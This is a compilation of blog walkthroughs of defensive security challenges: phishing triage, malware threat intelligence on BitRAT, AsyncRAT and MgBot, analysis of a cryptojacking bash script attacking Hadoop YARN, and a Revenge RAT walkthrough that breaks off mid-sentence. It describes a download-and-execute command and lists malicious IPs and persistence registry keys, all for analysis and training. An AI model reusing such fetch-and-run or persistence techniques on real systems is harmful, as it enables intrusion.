Microsoft Learn — Extensible Storage Engine Managed Reference: https://learn.microsoft.com/en-us/windows/win32/extensible-storage-engine/extensible-storage-engine-managed-reference

Microsoft Learn — 4799(S): A security-enabled local group membership was enumerated: [https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page— –2efb81522f2c—

–](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4799?source=post_page--- –2efb81522f2c—

–)

Microsoft Learn — Ntdsutil: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc753343(v=ws.11)

CyberDefenders — PhishStrike Challenge Walkthrough

Mon, 16 Dec 2024 00:00:00 +0000

CyberDefenders — PhishStrike Challenge Walkthrough

A Cyber Threat Intelligence Challenge using MXToolBox, URLhaus, VirusTotal, MITRE ATT&CK, & MalwareBazaar

Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/phishstrike/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the PhishStrike challenge from CyberDefenders, you’re in the right place. Prepare to dive into the world of Cyber Threat Intelligence!

In this scenario, a phishing email is targeting members of our institution’s faculty which includes a suspicious link. Our goal is to analyze the phishing email artifact to discover more about the sender and the link to scope the potential impact on a victim. To unravel this mystery, we’ll leverage several tools as we follow the email thread, including:

MXToolBox: This tool helps us perform a detailed analysis of the email headers. It offers easy-to-read insights about the sender and any potential anomalies that we can explore.

URLhaus: After analyzing the headers, we may uncover some suspicious URLs. URLhaus is a service where we can gather intelligence about these URLs by checking them against a database of known malicious domains, giving us valuable context about potential malware hosted on them.

Virus Total: After identifying details about the malware, we can submit the file hashes to VirusTotal to get comprehensive scan results and analysis.

MalwareBazaar: This is a repository used to share malware samples with the infosec community. Here, we can search for additional reports about the uploaded samples to understand the malware’s behavior.

The exciting part is that the deeper we go, the more details we’ll uncover about the email payload, discovering more insights about the malware’s infrastructure. Sounds like a fun mystery, right? Let’s get into it!

And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!

Thanks for reading and going on this investigation with me!

Challenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/phishstrike/

Challenge Scenario:

As a cybersecurity analyst for an educational institution, you receive an alert about a phishing email targeting faculty members. The email, appearing from a trusted contact, claims a $625,000 purchase and provides a link to download an invoice.

Your task is to investigate the email using Threat Intel tools. Analyze the email headers and inspect the link for malicious content. Identify any Indicators of Compromise (IOCs) and document your findings to prevent potential fraud and educate faculty on phishing recognition.

Setup the REMnux Analysis Environment & Extract the challenge file:

Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org

Once we have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: Identifying the sender’s IP address with specific SPF and DKIM values helps trace the source of the phishing email. What is the sender’s IP address that has an SPF value of softfail and a DKIM value of fail?

Within the challenge file, there is a single email file — 194-PhishStrike.eml

We’ll need to start our investigation by analyzing the phishing email, starting with its headers. There are a few ways to approach header analysis of message, including opening it in an email client, a plaintext editor, or a header analysis tool. For this walkthrough, let’s start with an online header analysis tool — the MxToolBox Supertool Email Header Analyzer. This tool will allow us to copy and paste the headers and parse them in a more readable way.

But first, we need to obtain the headers. To do this, open the .eml file with any plain text editor within your analysis environment. The top section holds the message header information and the next section contains the body content which we’ll look at later.

Start of the message header.

Headers and Message Body Boundary

Once the header is pasted into the MxToolBox, we can search the formatted fields easily. We need to look for the Received-SPF mail header. If you’re unfamiliar, according to MailTrap, Sender Policy Framework (SPF) is:

An authentication method used by senders to specify hosts that are allowed to send an email on behalf of the domain.

In the case of this phishing email, the value is softfail which tells us that the email was sent from an IP address not explicitly authorized by the sending domain’s SPF record. It’s important to know that the email is still accepted and not rejected like it would be if the value was hardfail which explains why it was delivered to the victims.

Question 2: Understanding the return path of the email helps in tracing its origin. What is the return path specified in this email?

Within the MxToolBox results, simply search for the Search for the Return-Path header to find the original sender address. Additionally, any bounces would be sent back to this address.

Question 3: Identifying the source of malware is critical for effective threat mitigation and response. What is the IP address hosting the malicious file associated with malware distribution?

To answer Question 3, we need to examine the email body content for any links or attachments sent to the victim. Since this information isn’t part of the mail headers, let’s return to the plain text editor where we opened the 194-PhishStrike.eml to view the email body.

Below the header section, we’ll see the content. Notice the text " # "

VIEW INVOICE DOCUMENT HERE" holds a hyperlink to an IP address hosting an executable file. This is extremely suspicious and has all the hallmarks of a phishing link. It’s also the IP address we’re looking for to answer Question 3.

Question 4: Identifying malware that exploits system resources for cryptocurrency mining is critical for prioritizing threat mitigation efforts. The malicious URL can deliver several malware types. Which malware family is responsible for cryptocurrency mining?

We’ve identified the malicious URL within the email body, now let’s collect some threat intelligence by checking it on URLhaus, a malware URL submission platform used to track cyber threats, searching the URL hosting the executable file:

URLhaus Results

From the tags, we’ll notice that this URL is associated with several different malware types. To answer Question 4, we are interested in the tag associated with cryptocurrency mining — CoinMiner.

Question 5: Identifying the specific URLs malware requests is key to disrupting its communication channels and reducing its impact. Based on the previous analysis of the cryptocurrency malware sample, what does this malware request the URL?

Now, let’s click into the report to browse the detailed database entry. The first thing we’ll want is the SHA256 hash of the CoinMiner payload. Having the specific malware’s file hash in our possession allows us to pivot and check other threat intelligence services for hits and build a stronger malware profile.

For example, let’s navigate to VirusTotal and search the CoinMiner hash. We’ll check the Relations tab under Contacted URLs to understand what URLS the malware communicates with based on previous analysis on the service.

There are two URLs listed: One looks familiar to us from the phishing email, and the second one is new data — this is the one we’re looking for. With the additional information, we are starting to gain a better understanding of the malware’s infrastructure.

Question 6: Understanding the registry entries added to the auto-run key by malware is crucial for identifying its persistence mechanisms. Based on the BitRAT malware sample analysis, what is the executable’s name in the first value added to the registry auto-run key?

In the last question, we searched for information on the CoinMiner malware delivered by the phishing URL. This time, we’ll need to analyze the BitRAT sample downloaded from the same URL. We can accomplish this by heading back to URLhaus, copying the BitRAT payload hash this time, then submitting it to VirusTotal to view the report.

Back on VirusTotal, let’s check out the Behavior tab and scroll down to the Registry Actions > Registry Keys Set area:

VirusTotal VirusTotalwww.virustotal.com

While there are an overwhelming amount of entries listed, we can narrow the search by specifically looking for registry hives related to the persistence technique of abusing auto-run keys in the Windows registry.

To learn more about this technique and get some clues on what to look for in the report, let’s turn to MITRE ATT&CK:

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the " # "

run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.[1] These programs will be executed under the context of the user and will have the account’s associated permissions level.

The following run keys are created by default on Windows systems:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Now that we have this background information, we can apply the intelligence gained from MITRE ATT&CK to search for the default run keys in the VirusTotal report, leading us to the executable.

Question 7: Identifying the SHA-256 hash of files downloaded from a malicious URL is essential for tracking and analyzing malware activity. Based on the BitRAT analysis, what is the SHA-256 hash of the file previously downloaded and added to the autorun keys?

Continuing our BitRAT analysis on VirusTotal, let’s find the SHA-256 file hash of the executable we found in the previous question. To do this, we just need to expand the Files Dropped section and search for the executable’s name. Expanding the entry will show us the hash of the file.

From: https://www.virustotal.com/gui/file/bf7628695c2df7a3020034a065397592a1f8850e59f9a448b555bc1c8c639539/behavior

Question 8: Analyzing the HTTP requests made by malware helps in identifying its communication patterns. What is the HTTP request used by the loader to retrieve the BitRAT malware?

We’ll approach this question the same we way did the previous two. This time, navigate to the Network Communication section and focus on HTTP Requests made by the malware.

Question 9: Introducing a delay in malware execution can help evade detection mechanisms. What is the delay (in seconds) caused by the PowerShell command according to the BitRAT analysis?

Moving right along, we’ll focus on analyzing any observed PowerShell commands executed by the BitRAT malware. We can find this information under the Process and service actions section under Shell Commands. After a quick analysis, we’ll locate the below PowerShell command:

There’s just one small obstacle, we can’t read the command directly yet since it has been encoded with Base64 (-enc.) Fortunately, we can easily decode this by leveraging a tool like CyberChef.

After opening the tool, paste the encoded string into the input field and then apply the From Base64 operation to the Recipe. While we could clean this up a bit further, the operation already allows us to see the deobfuscated string showing the delay in execution.

Decoding in CyberChef: https://gchq.github.io/CyberChef/

Question 10: Tracking the command and control (C2) domains used by malware is essential for detecting and blocking malicious activities. What is the C2 domain used by the BitRAT malware?

After reviewing the network connections on VirusTotal, we might think that we’ve already discovered the command and control (C2) URL, but none of the domains that we have uncovered so far fit the format that the question is looking for.

For our next steps, let’s check if we can find any additional information from the Community tab on the VirusTotal report. After reviewing a couple of the entries, we’ll stumble upon a solid lead from the extremely helpful comment below:

To double-confirm that this information is accurate, let’s head back over to URLhaus and click the BitRAT link to take us over to MalwareBazaar, a malware sample sharing platform for the infosec community, to see what additional threat intelligence may be available from other vendors.

On the MalwareBazaar page for the BitRAT sample, scroll down to the Vendor Threat Intelligence section and choose the Hatching Triage entry to see an overview of their findings. Notice anything interesting?

We found corroborating evidence confirming what we found on VirusTotal! Now that we’ve double-confirmed our findings, let’s submit the answer and move on to the final question of this challenge.

Question 11: Understanding the methods malware uses for exfiltrating data is crucial for detecting and preventing data breaches. According to the AsyncRAT analysis, what is the Telegram Bot ID used by the malware?

Back to URLhaus again to answer Question 11. Here we’ll apply the same process we did in the previous question, this time selecting the AsyncRAT link to view the sample on MalwareBazaar.

Since we acquired solid threat intelligence from the Hatching Triage in the last question, let’s analyze their full report to extract anything that will help us get closer to the answer.

https://tria.ge/221025-mz5tpscdf8

Inside of the report, we’ll see that the data is collected by both static analysis and behavioral analysis. Let’s review the linked behavioral2 report to see the activities in detail, specifically focusing on the Network section.

Here we’ll discover the final details that we are looking for, the Telegram Bot ID the malware used for data exfiltration.

Now that we have successfully leveraged threat intelligence to solve the mystery — let’s wrap up this investigation!

From Recorded Future Triage: https://tria.ge/221025-mz5tpscdf8/behavioral2

Conclusion:

Great job! Starting with a single email, we used MXToolBox to learn about the spoofed trusted contact and found a suspicious URL within the body of the email. Using URLhaus and Virus Total, we collected threat intelligence about the three different malware samples delivered by the malicious server to understand their behaviors. Finally, we leveraged additional, external reports about the malware to uncover how data might have been exfiltrated. With the objectives completed, we have all the information we need to help keep the institution safe from this threat. Let’s close the book on the PhishStrike challenge!

A big thank you to CyberDefenders, for another engaging and realistic lab scenario. This one was exceptionally fun. I always enjoy a challenge that starts with a single artifact and leads through a sprawling investigation that requires deep dives into external research. In the real world, when time is of the essence, it’s important to be able to obtain insights for previously observed threats using platforms like VirusTotal and URLhaus to quickly identify, understand, and remediate a threat. Practicing in a lab environment is time well spent to prepare. I hope you found this walkthrough insightful too!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

REMnux: https://remnux.org/

MxToolBox Supertool Email Header Analyzer: https://mxtoolbox.com/EmailHeaders.aspx

Mailtrap Email Headers: https://mailtrap.io/blog/email-headers/

URLhaus: https://urlhaus.abuse.ch/

VirusTotal: https://www.virustotal.com/

MITRE ATT&CK — Boot of Logon Autostart Execution: Registry Run Keys / Startup Folder ( T1547.001): https://attack.mitre.org/techniques/T1547/001/

CyberChef: https://gchq.github.io/CyberChef/

MalwareBazaar: https://bazaar.abuse.ch/

Recorded Future Triage Report: https://tria.ge/221025-mz5tpscdf8

TryHackMe — Friday Overtime Challenge Walkthrough

Mon, 09 Dec 2024 00:00:00 +0000

TryHackMe — Friday Overtime Challenge Walkthrough

A Cyber Threat Intelligence Challenge Using DocIntel, Virus Total, MITRE ATT&CK, CyberChef, and Google

Image Credit: https://tryhackme.com/r/room/fridayovertime

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive write-up of the Friday Overtime challenge from TryHackMe, you’re in the right place.

In this scenario, we’re stepping into the world of Cyber Threat Intelligence to analyze a malware sample submission that we received through the DocIntel threat intelligence platform. Our objective is to gather intelligence on this sample, identify what malware family it’s a part of, understand its functionality, and determine what external destinations it contacts. This information will help us create a detailed report for our fictional customer so that we can head into the weekend. To achieve this, we’ll explore resources like VirusTotal, MITRE ATT&CK, and external reports from Google to fully grasp the malware’s capabilities.

The real value of this challenge comes from the research process and becoming adept at collecting threat intelligence from existing reports. With that in mind, I won’t be revealing the answers to the questions in this writeup. Don’t let that deter you — the approach I took isn’t the only one. You’ve got this. Happy hunting!

And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap! Thanks for reading and going on this investigation with me!

Challenge Link: https://tryhackme.com/r/room/fridayovertime

Challenge Scenario:

Hello Busy Weekend. . .

It’s a Friday evening at PandaProbe Intelligence when a notification appears on your CTI platform. While most are already looking forward to the weekend, you realise you must pull overtime because SwiftSpend Finance has opened a new ticket, raising concerns about potential malware threats. The finance company, known for its meticulous security measures, stumbled upon something suspicious and wanted immediate expert analysis.

As the only remaining CTI Analyst on shift at PandaProbe Intelligence, you quickly took charge of the situation, realising the gravity of a potential breach at a financial institution. The ticket contained multiple file attachments, presumed to be malware samples.

With a deep breath, a focused mind, and the longing desire to go home, you began the process of:

Downloading the malware samples provided in the ticket, ensuring they were contained in a secure environment.

Running the samples through preliminary automated malware analysis tools to get a quick overview.

Deep diving into a manual analysis, understanding the malware’s behaviour, and identifying its communication patterns.

Correlating findings with global threat intelligence databases to identify known signatures or behaviours.

Compiling a comprehensive report with mitigation and recovery steps, ensuring SwiftSpend Finance could swiftly address potential threats.

Question 1: Who shared the malware samples?

First thing’s first, let’s login to the DocIntel portal using the credentials supplied in the challenge’s instructions. DocIntel is an open-source threat intelligence platform for information sharing where we’ll find the request ticket and download the included malware samples.

To answer Question 1, we’ll just need to open the ticket, read the request, and check the sign-off signature to find who sent it in.

Question 2: What is the SHA1 hash of the file “pRsm.dll” inside samples.zip?

Next, let’s download the attachment, samples.zip, from the files section on the right side of ticket and extract the files within the archive. To do this, we’ll need the password provided in the ticket details. Once the files are extracted, we can get the SHA1 hash of pRsm.dll directly from the terminal using the below command:

sha1sum /home/ericatracy/Downloads/pRsm.dll

Question 3: Which malware framework utilizes these DLLs as add-on modules?

Now that we have a file hash to work with, let’s pivot over to VirusTotal and check if this sample has been analyzed on the platform before and see what additional intelligence we can collect about it.

Fortunately for us, this sample has been seen before and there are a high number of hits. To answer Question 3, we’ll focus on the threat / family labels to find the answer.

Question 4: Which MITRE ATT&CK Technique is linked to using pRsm.dll in this malware framework?

If you’re unfamiliar, MITRE ATT&CK is an expansive knowledge base that documents known adversary tactics, techniques, and procedures as observed in world-world attacks. Since Question 4 mentions MITRE ATT&CK, let’s navigate there and search for the family name we found in the last question to gather more information.

MgBot _MgBot is a modular malware framework exclusively associated with Daggerfly operations since at least 2012. MgBot was…_attack.mitre.org

Since there are so many techniques listed on MITRE ATT&CK and in VirusTotal for the malware, we’ll need to pivot out to some external research to narrow it down. From the MITRE ATT&CK page, there are several reference links listed at the bottom.

Let’s select the second link from ESET to read more about the malware framework and pRsm.dll.

Evasive Panda APT group delivers malware via updates for popular Chinese software _ESET Research uncovers a campaign by the APT group known as Evasive Panda targeting an international NGO in China with…_www.welivesecurity.com

There’s a treasure trove of excellent research content in this blog but for Question 4, we’re most interested in the documented MITRE ATT&CK techniques where we’ll learn that pRsm.dll is used to capture audio streams and the corresponding technique ID.

From: https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/

Question 5: What is the CyberChef defanged URL of the malicious download location first seen on 2020–11–02?

Continuing with our review of the ESET report, we’ll also discover some additional details about the malware including the origin of the malicious download.

We’re halfway there! While the URL is already defanged within the report, the key detail is that we need to submit the URL after it’s been defanged with CyberChef specifically — Easy enough!

Let’s open CyberChef, input the URL from the ESET report, and apply the Defang URL option to the recipe to get our newly defanged output.

Defanging the Download URL in CyberChef

Question 6: What is the CyberChef defanged IP address of the C&C server first detected on 2020–09–14 using these modules?

We’ll approach Question 6 like we did the last one. We’ll find the malware’s command and control (C&C) server addresses listed in the ESET report’s IOC section under Network.

Pick the IP address that matches the date from the question and jump back over to CyberChef. It can be a little picky, but manually enter the raw IP address into the input box then apply Defang IP Address to the recipe.

Defanging C&C IP Address in CyberChef

Question 7: What is the SHA1 hash of the spyagent family spyware hosted on the same IP targeting Android devices on November 16, 2022?

Finally, we’re going to take what we’ve learned during our intelligence collection and expand our scope by searching for any other malware families hosted on the IP Address from Question 6.

Head back over to VirusTotal. Once we input the IP, navigate to the Relations > Communicating Files tab where we’ll find an Android type file communicating with this IP address.

While the date doesn’t match what the question is looking for, let’s click the entry anyway to see if we can find any leads. Looking at the family label, it matches the spyagent tag referenced in the question, so it seems that we’re on the right track.

Let’s try the SHA-1 hash from the Details tab to verify.

Fantastic! We’ve found the correct sample! Now that we’ve completed Question 7, let’s recap our findings and wrap up this investigation.

Conclusion:

There we have it — sample analyzed! During our investigation, we calculated the SHA1 hash value of a DLL within the sample**.** We then searched VirusTotal for this file hash, which helped us identify the malware family the DLL belongs to. Next, we pivoted to MITRE ATT&CK to understand the malware’s capabilities and searched for external references, where we discovered a detailed analysis from ESET. With the ESET report in hand, we identified indicators of compromise (IOCs), including the initial access download URL and the command and control IP addresses. All this information equips us with what we’ll need to create a comprehensive report for the requestor. Let’s wrap up this investigation and conclude our Friday Overtime.

A big thank you to TryHackMe for the engaging challenge. This was a really fun challenge because the scenario felt realistic and led me down a research rabbit hole. It was cool to learn about DocIntel and get a glimpse into the CTI world. I find it extremely rewarding to start with something as simple as a file hash and continue to unravel the mystery by adding more context through threat intelligence with each new piece of information. It never hurts to continuously practice your research skills and leverage any available reporting when collecting intelligence on a threat — this happens all the time in the field!

Thanks for the support and going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to give it a clap! Your feedback really is invaluable and helps keep me motivated to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

DocIntel: https://docintel.org/

VirusTotal: https://www.virustotal.com/

MITRE ATT&CK — MgBot (S1146): https://attack.mitre.org/software/S1146/

ESET WeLiveSecurity Blog — Evasive Panda APT group delivers malware via updates for popular Chinese software: https://www.welivesecurity.com/2023/04/26/evasive-panda-apt-group-malware-updates-popular-chinese-software/

LetsDefend — Bash Script Challenge Walkthrough

Mon, 02 Dec 2024 00:00:00 +0000

LetsDefend— Bash Script Challenge Walkthrough

Bash Script Analysis Challenge Using Vim and Apache Hadoop Documentation

Image Credit: https://letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a comprehensive walkthrough of the Bash Script challenge from LetsDefend, you’re in the right place.

In this scenario, our objective is to analyze a suspicious bash script linked to a Hadoop YARN cluster provided by the fictional SOC Team and determine if it’s malicious. For this challenge, we will be using a simple text editor to analyze the script, searching for environment variables set by the script, and comparing them to online documentation. Then, we will analyze a suspicious download command to understand the nature of the attack.

This challenge is beginner-friendly and straightforward, but I had to do a lot of external research to understand Hadoop YARN and the types of threats these services are exposed to. I’ll share this information along the way for some added value. Sounds like fun, right? Let’s get into it!

Challenge Link: https://app.letsdefend.io/challenge/log-analysis-with-sysmon

Challenge Scenario:

The SOC team uncovered a suspicious bash script linked to a critical Hadoop YARN cluster that handled large-scale data processing. This script was flagged for further investigation by L1 SOC analysts, who suspected it could be a potential breach. You have been tasked to analyze the bash script to uncover its intent.

Question 1: What is the path set to the standard output log file?

From the scenario, we understand that that we’ll be analyzing a bash script linked to a Hadoop YARN cluster. Hadoop? YARN? These sound like foreign languages to me! To help get us oriented and better interpret the script, let’s get some quick context about these terms in case they’re also unfamiliar to you.

Hadoop: The Apache Hadoop software library is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models.

Hadoop YARN: Apache Hadoop YARN is the resource management and job scheduling technology in the open source Hadoop distributed processing framework. One of Apache Hadoop’s core components, YARN is responsible for allocating system resources to the various applications running in a Hadoop cluster and scheduling tasks to be executed on different cluster nodes.

While we don’t necessarily need to be Hadoop experts it’s very helpful to understand that YARN is responsible for setting up, managing, and executing tasks for various applications on a cluster of computers.

We can imagine that a bash script might be useful for automating provisioning, setting up environment variables, configuration paths, and executing tasks — but this could also be abused by the bad guys, too. Since we’re told there is something suspicious about the sample script, it might indicate a potential breach of the application container environment. Let’s find out for ourselves!

Now that we have the theory out of the way, let’s finally extract the ChallengeFile, sample.7z, and open the resulting file (sample) with a text editor. For the examples in this walkthrough, I’ll be using Vim.

To find the answer to Question 1, we’ll focus on the PRELAUNCH_OUT environment variable which defines the standard output (stdout) path for the container’s pre-launch logs. As the name implies, these pre-launch logs capture the commands executed by the setup script on the container before the application launches.

Question 2: Which environment variable specifies the Java home directory?

Question 2 is more self-explanatory. A few lines further down in the script, we’ll find the JAVA_HOME environment variable which tells the application where the Java installation’s home directory is.

Question 3: What is the value of the " # "

NM_HTTP_PORT" environment variable?

This is another self-explanatory one. We just need to find the NM_HTTP_PORT environment variable in the script.

Since I’m not familiar with NM, though, let’s do some research to understand it more. According to the Hadoop Documentation, NM stands for NodeManager. It’s a component of YARN that is responsible for managing individual nodes in the cluster. So, this environment variable is specifying the port (8042) where the web interface is accessible to retrieve data about a node’s status. Cool stuff!

Question 4: What directory is set as the " # "

LOCAL_DIRS" environment variable?

For Question 4, let’s find the LOCAL_DIRS environment variable. In the bash script, this variable specifies the local directories on a node where YARN can store temporary files and logs during the execution of applications.

Question 5: The script executes a line at the end of it. What is it?

All right, now we’re done looking for environment variables and starting to analyze some suspicious activity. At the bottom of the script, we’ll see the below command, followed by some parameters:

exec /bin/bash -c

With the use of curl, wget, & lwp-download we get the idea that this command is trying (quietly) a few different methods to download a file from a remote server. For the purposes of Question 5, we must understand what the line at the end of the script is doing. The setback here is that the final command is encoded but that’s no problem!

We can use a tool like CyberChef to decode it, or do it directly from the terminal:

Base64 Decoding with Terminal

Base64 Decoding with CyberChef

Once we have decoded the command, we’ll ultimately discover that the script downloads and executes a Python-based payload — d.py.

Question 6: Which command is used to create a copy of the launch script?

Let’s take a step back and search the script for a command that creates a copy of the launch script. With little effort, we can find the following line in the script, which is conveniently commented. The copy (cp) command is being used to copy the launch_container.sh script — interesting…

#Creating copy of the launch script cp “launch_container.sh” “/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/launch_container.sh”

Question 7: What command is executed to determine the directory contents?

Another helpful comment points us to the correct location to look for the answer to Question 7. Here we’ll observe that the ls -l command is used to list the directory contents with the long listing format:

Determining directory contents

echo “ls -l:” 1>"/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/directory.info" ls -l 1»"/root/apps/hadoop-3.2.2/logs/userlogs/application_1617763119642_4002/container_1617763119642_4002_01_000001/directory.info"

Question 8: What IP address is used for downloading a script from the remote server?

We’ve made it to the last question, and it looks familiar, doesn’t it? Remember back in Question 5, we found a script being downloaded and executed. Let’s refer back to that line and the IP Address from where the script was downloaded:

Awesome, we’ve found the answer! Feel free to submit it and wrap up this challenge.

But if you’re interested and want to understand this attack in more detail, I’m going on a side quest to research further by consulting some external threat intelligence to understand exactly is going on.

Question 8 — Side Quest:

While outside the scope of the challenge, if you want to gain a better understanding of the attack, let’s pivot to VirusTotal and search for the IP Address we found.

On VirusTotal, there are a couple of hits, but we want to focus on the Relations tab > Files Referring section. With a quick scan, you’ll notice something familiar from Question 5 — d.py, the payload downloaded and executed by the script.

Clicking on this entry, we’ll see that this is classified as a crypto miner.

Next, let’s head back to the VirusTotal page for the IP Address and navigate to Details > Google Results to find some external research. Check out one of the linked articles from Trend Micro, as it references the malicious IP_._

Threat Actors Exploit Misconfigured Apache Hadoop YARN _We look into how threat actors are exploiting Apache Hadoop YARN, a part of the Hadoop framework that is responsible…_www.trendmicro.com

In summary, the report reveals how threat actors exploit misconfigured Apache Hadoop YARN services to deploy cryptojacking miner malware onto their targets.

As cryptojacking malware is known to be one of the dominant and common payloads for Linux environments, it is no surprise that they were deployed in the YARN service as well…

…At the onset of the attack, the threat actors send commands to the exposed service via an HTTP POST request. As an unintended response, the YARN then creates a launch script that incorporates the attackers’ commands.

Between the VirusTotal report for d.py and the TrendMicro research linking the IP we found to cryptojacking attacks, we now have a better understanding of how the malicious script works and the attacker’s goal. Great job!

Conclusion:

There we have it — script analyzed! During our investigation, we analyzed a bash script using Vim. This helped us understand some of the functions and environment variables of Hadoop YARN. We discovered some suspicious commands executed by the script, which included downloading and executing a script from a remote server. By pivoting to external research, we identified indicators of compromise and determined that the attacker likely performed a cryptojacking attack on the server. Now that we have scoped the attack and completed our objectives let’s close out this walkthrough of the Bash Script challenge.

A big thank you to LetsDefend for the fun lab scenario. This was interesting to me because, while the answers were straightforward, I realized I had no context or understanding of what was actually happening in the script. I decided to write this up to learn about Hadoop YARN and interpret the results to shape a theory about the attack, rather than just check answers off a list. I hope that the additional research helped you, too!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Apache Hadoop Website: https://hadoop.apache.org/

Apache Hadoop Documentation: https://hadoop.apache.org/docs/current/index.html

Tech Target — What is Apache Hadoop YARN?: https://www.techtarget.com/searchdatamanagement/definition/Apache-Hadoop-YARN-Yet-Another-Resource-Negotiator#:~:text=One%20of%20Apache%20Hadoop’s%20core,executed%20on%20different%20cluster%20nodes.

CyberChef: https://gchq.github.io/

Ubuntu Manpages — LS: https://manpages.ubuntu.com/manpages/xenial/man1/ls.1.html

VirusTotal — Download IP: https://www.virustotal.com/gui/ip-address/209.141.40.190/detection

VirusTotal — d.py: https://www.virustotal.com/gui/file/944f631cbe6dbb89a682320b8ebf64fa97cc9d52db170d2f467b81f3558d13a3/detection

Trend Micro — Threat Actors Exploit Misconfigured Apache Hadoop YARN: https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html

LetsDefend — Revenge RAT Challenge Walkthrough

Mon, 25 Nov 2024 00:00:00 +0000

LetsDefend — Revenge RAT Challenge Walkthrough

A Malware Reverse Engineering Challenge Using Detect-It-Easy, dnSpy, & Google

Image Credit: https://letsdefend.io/

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog searching for a walkthrough of the Revenge RAT challenge from LetsDefend, you’re in the right place.

In this scenario, we’re going headfirst into the world of malware reverse engineering. An incident response team provided us with a Remote Access Trojan (RAT) malware sample used during an attack on a fictional organization. Our job is figure out what the malware was compiled with, how it’s configured, and what it does.

To analyze the sample logs, we’ll leverage dnSpy, a .NET debugger, and compare our analysis with some external research about the malware and its functions to give us comprehensive view of the attack. I’m still a newbie with my own reverse engineering skills, so we’ll have fun piecing this together. Let’s get into it!

And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please give it a clap!

Thanks for reading and going on this investigation with me!

Challenge Link: https://app.letsdefend.io/challenge/log-analysis-with-sysmon

Challenge Scenario:

An attack on a company employed a Remote Access Trojan (RAT) disguised in seemingly harmless files. The RAT infiltrated the network and operated as fileless malware.

DFIR analysts have extracted the malware. Now they need you to analyse the sample and uncover its secrets. By dissecting the binary, we can understand its behaviour, assess the damage, and devise a strategy to eradicate the threat, ensuring the organization’s security.

Question 1: What compiler is used for this sample?

All right, let’s kick off our investigation! The first thing we’ll do is extract the sample.7z from the ChallengeFile folder and reveal the sample file — f6b2c58f9846adcb295edd3c8a5beaec31fff3bc98f6503d04e95be3f9f072e8

Next, it’s always a good idea to get familiar with what tools are available for use within the Tools folder. This is especially helpful for me since I’m still working to level-up my malware reverse engineering skills.

Now that we have extracted the sample file and have gotten an overview of our tools, let’s start performing some analysis on the file.

To answer Question 1, we’ll first need to understand what type of file the sample is so that we can determine the best tool for analysis. To do this, let’s gather some information using Detect It Easy (DIE) which is a useful utility to identify the file type of a binary. We’ll launch this utility from the Tools folder, then point it to the sample file.

Output from Detect It Easy (DIE)

Once analyzed by DIE, we’ll see a few key details that answer Question 1. The sample binary is **.NET-**based and compiled with the Visual Basic (VB.NET) compiler.

Question 2: What is the mutex name checked by the malware at the start of execution?

All right, now we’re getting into the meat of the challenge.

In the previous question, we’ve determined that the malware is .NET based, so we should be able to use some of the .NET decompilers from the Tools folder. While I’ve used JetBrains dotPeek in the past, I want to expand my horizons and try out a new tool this time.

Only one problem, I’m not familiar with any of the other available tools. So, let’s back up and do some Google research. But instead of searching for .NET decompilers, why don’t we first see what research is available about the Revenge RAT? By doing this**,** I stumbled across an excellent blog from Perception Point containing some helpful information about the malware.

Revenge RAT malware is back | Perception Point _In this blog post, we analyze the attack chain of a recent Revenge RAT malware campaign to better understand the…_perception-point.io

It’s so helpful in fact, that we’ll refer to it throughout the walkthrough to corroborate our findings. But most importantly for this task, it gives us an idea of a tool that we can use to view the sample’s code — dnSpy.

we can open the executable in DnSpy and view the code. Surprisingly, this malware’s code is readable and not obfuscated.

Sounds like this will fit the bill, so let’s jump into the dnSpy. Once the sample is loaded, we can start with the analysis. Inside dnSpy we’ll immediately see something identical to Perception Point’s infographic — the executable name Client.exe with the Lime namespace below.

Let’s expand the Program class node and check out the Main() method as a starting point. There are references to mutex in a couple of spots. It seems that once the malware creates the mutex, it pulls the name from the Config class**.** Let’s check this out by clicking on currentMutex.

This jumps us directly into the Config class which holds some interesting configuration strings including the name for the currentMutex. This should be the string that we need to answer Question 2!

The Config Class

Question 3: What function was used to get information about the CPU?

For Question 3, instead of stumbling through the code blindly, let’s refer back to the Perception Point research to get some direction. Their research states:

[The first packet sent from the user’s computer to the C2 server contains lots of sensitive data related to the user’s computer. The data collected using a custom class presents the code named " # "

